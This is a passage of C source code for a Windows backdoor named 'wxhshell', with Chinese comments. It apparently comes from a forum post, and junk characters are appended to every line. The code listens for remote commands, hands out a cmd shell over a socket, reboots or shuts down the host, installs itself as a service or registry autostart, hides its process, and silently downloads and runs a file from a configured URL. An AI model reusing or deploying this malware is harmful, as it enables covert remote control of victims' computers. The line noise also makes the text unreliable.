  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -_ I)5*N  
  else D8wf`RUt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2/*u$~  
  } V+"%BrM  
  else { x8rg/y  
=:s`C,l.4  
    switch(cmd[0]) { U S ALoe  
  ;n Bf  
  // 帮助 Wn=sF,c  
  case '?': { c9-$^yno  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <l5i%?  
    break; =tP9n;D  
  } nv:Qd\UM  
  // 安装 v]V N'Hs?  
  case 'i': { k\#;  
    if(Install()) RJWO h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w1)TnGT  
    else 2L](4Q[M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GM%OO)dO}  
    break; y8~OkdlN#  
    } SCcvU4`o  
  // 卸载 G*9>TavE  
  case 'r': { }#ZRi}f2VJ  
    if(Uninstall()) ]#]Z]9w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VC88re`  
    else $z%(He  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >)ekb7  
    break; q~R8<G%YK  
    } OS,!`8cw  
  // 显示 wxhshell 所在路径 Qfm$q~`D^W  
  case 'p': {  1c0' i  
    char svExeFile[MAX_PATH]; TWpw/osW  
    strcpy(svExeFile,"\n\r"); = J;I5:J  
      strcat(svExeFile,ExeFile); x 7by|G(  
        send(wsh,svExeFile,strlen(svExeFile),0); z{L'7  
    break; @JbxGi  
    } =-si| 1Z  
  // 重启 C(XV YND3  
  case 'b': { t<Acq07  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e3 v^j$  
    if(Boot(REBOOT)) 72s qt5C]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2o?j{K  
    else { #BLHHK/[  
    closesocket(wsh); AZ3T#f![L@  
    ExitThread(0); .|O T#"LP  
    } /qIQE&V-  
    break; |_TiF ;^  
    } > ubq{'  
  // 关机 7\ _MA!:<  
  case 'd': { f7_( C0d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?y-^Fq|h  
    if(Boot(SHUTDOWN)) TGF$zvd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [K3 te  
    else { ev$:7}h=  
    closesocket(wsh); -MTk9<qnT  
    ExitThread(0); F$a s#.7FF  
    } X hq ss),  
    break; H@uu;:l<7A  
    } x2B8G;6u  
  // 获取shell `}?;Ow&2CY  
  case 's': { QOXo(S  
    CmdShell(wsh); 3lp'U&3`5  
    closesocket(wsh); ;A,X,f  
    ExitThread(0); T>B'T3or  
    break; dkw.o.e  
  } aoey 5hts  
  // 退出 Gm B&TD m  
  case 'x': { ,&UKsrs_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a dqS.xs  
    CloseIt(wsh); ,->K)Rs;  
    break; So&gDR;b  
    } /"Vd( K2Z  
  // 离开 XjN4EDi+E  
  case 'q': { KmNnW1T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |HmY`w6*z  
    closesocket(wsh); _^BA;S @  
    WSACleanup(); ^K<3_D>1>  
    exit(1); "/zgh  
    break; b{<?E };%  
        } YCDH0M  
  } SI!A?34  
  } T aS1%(  
KkCGL*]K  
  // 提示信息 |cU75 S1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C<D$Y,[w  
} o`iA&  
  } l5T[6C  
712nD ?>  
  return; P2'N4?2  
} I}_}VSG(  
BY~Tc5  
// shell模块句柄 vIRT$W' O}  
int CmdShell(SOCKET sock) fxd+0R;f  
{ '[WL8,.Q  
STARTUPINFO si; 9f! M1  
ZeroMemory(&si,sizeof(si)); ~$u9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }:2##<"\t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^m#tWb)f  
PROCESS_INFORMATION ProcessInfo; T [SK>z  
char cmdline[]="cmd"; )$!b`u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5_;-Qw  
  return 0; hW#^H5?  
} -P}A26qB  
VL*KBJ  
// 自身启动模式 H{Ewj_L  
int StartFromService(void) X)KCk2Ax  
{ /JS_gr@DK  
typedef struct S9Sgd&a9  
{ P P J^;s  
  DWORD ExitStatus; p^8a<e?f~f  
  DWORD PebBaseAddress; xxur4@p!  
  DWORD AffinityMask;  8oJl ]  
  DWORD BasePriority; [#Qf#T%5h  
  ULONG UniqueProcessId; ;U=b 6xE  
  ULONG InheritedFromUniqueProcessId; w^0hVrws=,  
}   PROCESS_BASIC_INFORMATION; / dJz?0  
hVF^ "$  
PROCNTQSIP NtQueryInformationProcess; :IZAdlz[@  
fmixWL7.Zg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jfMkN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1b%Oi.;  
(I~   
  HANDLE             hProcess; n[Q(q[ULV  
  PROCESS_BASIC_INFORMATION pbi; r-y;"h'  
_Ay^v#a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qSNCBn '  
  if(NULL == hInst ) return 0; UQDAql  
MKfK9>a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pT|s#-}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3Q$ 4`p;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;5ki$)v"  
=Ydrct  
  if (!NtQueryInformationProcess) return 0; >=0]7k;  
T_D3WHp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #4Z e2T|  
  if(!hProcess) return 0; 1b~21n  
#+ch  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #NFB=o JI  
94w)Yln  
  CloseHandle(hProcess); Z^>4qf,k  
D3 C7f'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fQ5v?(  
if(hProcess==NULL) return 0; rn|]-^ku/  
?>B?*IK!  
HMODULE hMod; t"4* ]S  
char procName[255]; p3Ux%/ZqPV  
unsigned long cbNeeded; 1b3 a(^^E  
DKj iooD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .Exvuo`F  
f]i"tqoI  
  CloseHandle(hProcess); =6~  
?"Ez  
if(strstr(procName,"services")) return 1; // 以服务启动 ;<M}ZL@m  
Ikdj?"+O  
  return 0; // 注册表启动 Z+v,o1  
} `^[k8Z(  
oMEW5.VX  
// 主模块 0''p29  
int StartWxhshell(LPSTR lpCmdLine) P\MDD@  
{ Q` &#u#  
  SOCKET wsl; "kP,v&n  
BOOL val=TRUE; a>OYJe  
  int port=0;  4v`/~a  
  struct sockaddr_in door; xS1|t};  
Odo)h  
  if(wscfg.ws_autoins) Install();  @*eY~  
P gA<pfEHE  
port=atoi(lpCmdLine); 7*PBJt\  
;y,g%uqE  
if(port<=0) port=wscfg.ws_port; 3/+kjY/  
GY%5N= u  
  WSADATA data; &#e;`(*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zu1"`K3b  
'6M6e(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   486\a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X\m\yv}}  
  door.sin_family = AF_INET; /F;2wT;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &ww-t..  
  door.sin_port = htons(port); xfeED^?  
VFf;|PHS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q2 !GWz$  
closesocket(wsl); f5*qlQJFz\  
return 1; ZR\N~.  
} C7dq=(p&  
Q#3}AO  
  if(listen(wsl,2) == INVALID_SOCKET) { @4y?XL(n  
closesocket(wsl); ,cNe-KJk  
return 1; NVx>^5QV  
} {N}az"T4f  
  Wxhshell(wsl); Ef`'r))  
  WSACleanup(); uLzE'Z mV  
$Y7VA  
return 0; HDV-qYD|O~  
JH\:9B+:L  
} i?!9%U!z4  
\(pwHNSafk  
// 以NT服务方式启动 71@ eJQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a_c(7bQ  
{ [e` | <  
DWORD   status = 0; "|X'qKS(H{  
  DWORD   specificError = 0xfffffff; %/uLyCUZ  
!Wr<T!T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <OEIG 0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aM $2lR])J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k( Sda>-  
  serviceStatus.dwWin32ExitCode     = 0; <KX9>e  
  serviceStatus.dwServiceSpecificExitCode = 0; Ypzmc$Xfu  
  serviceStatus.dwCheckPoint       = 0; 5@5 *}[M  
  serviceStatus.dwWaitHint       = 0; 7nT|yL?  
%w^*7Oi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MZ}0.KmaZ  
  if (hServiceStatusHandle==0) return; 9;LjM ~Ct  
+r!NR?^m  
status = GetLastError(); |aLK_]!  
  if (status!=NO_ERROR) ~+1mH  
{ !!Ww#x~k$[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r\"R?P$y|  
    serviceStatus.dwCheckPoint       = 0; /V*SI!C<f  
    serviceStatus.dwWaitHint       = 0; '/<\X{l8  
    serviceStatus.dwWin32ExitCode     = status; rY(7IX  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q &W>h/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ; +\h$  
    return; bIGcszWr  
  }  x(HHy,  
pG"wQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~T H4='4W3  
  serviceStatus.dwCheckPoint       = 0; Z$J-4KN  
  serviceStatus.dwWaitHint       = 0; C"kfxpCi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aUNA` L  
} ZY,$oFdsi  
5[)5K?%  
// 处理NT服务事件,比如:启动、停止 wKi#5k2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L91vp'+2  
{ 0]5X Tc3r  
switch(fdwControl) Evj%$7H1L1  
{ JRC2+BU /  
case SERVICE_CONTROL_STOP: GcN}I=4|  
  serviceStatus.dwWin32ExitCode = 0; ?u#s?$Y?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O>~@>/#  
  serviceStatus.dwCheckPoint   = 0; }*bp4<|  
  serviceStatus.dwWaitHint     = 0; -6J <{1V  
  { 9]+zZP_#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _LZ(HTX~  
  } :=*G7ZyW$  
  return; }< '6FxR  
case SERVICE_CONTROL_PAUSE: *@bz<{!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H<!q@E ;  
  break; ,ASNa^7/>  
case SERVICE_CONTROL_CONTINUE: 4v>SXch  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h;vY=r-  
  break; Eb~vNdPo  
case SERVICE_CONTROL_INTERROGATE: ! $mY.uu  
  break; #W8F_/!n|  
}; 3:Nc`tM_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'AK '(cZ  
} \dU.#^ryp  
MJX4;nbl  
// 标准应用程序主函数 .aO6Y+Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,sSo\%  
{ mf g>69,w  
tJu:N'=Dy  
// 获取操作系统版本 rD21:1s  
OsIsNt=GetOsVer(); ? ch?q~e)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o:v_I{  
EGI$=Y  
  // 从命令行安装 cvy 5|;-u  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]8wm1_qV  
h8O\sKn  
  // 下载执行文件 C.ynOo,W  
if(wscfg.ws_downexe) { 3| w$gG;Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F|6"-*[RS  
  WinExec(wscfg.ws_filenam,SW_HIDE); OcMB)1uh\  
} U}:+Hz9  
j~Fd8]@  
if(!OsIsNt) { 0kCo0{+n  
// 如果时win9x,隐藏进程并且设置为注册表启动 @ NDcO,]  
HideProc(); ;]xc}4@=mg  
StartWxhshell(lpCmdLine); pHb,*C</  
} /"="y'Wx  
else %S"z9@  
  if(StartFromService()) 075IW"p'  
  // 以服务方式启动 Y*pXbztP  
  StartServiceCtrlDispatcher(DispatchTable); 2hNl_P~z1u  
else * G*VY#L  
  // 普通方式启动 p @q20>^u  
  StartWxhshell(lpCmdLine); !21G $ [H  
&+02Sn3A  
return 0; 2HVqJib4Yn  
}
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只看该作者 1 发表于: 2006-10-10
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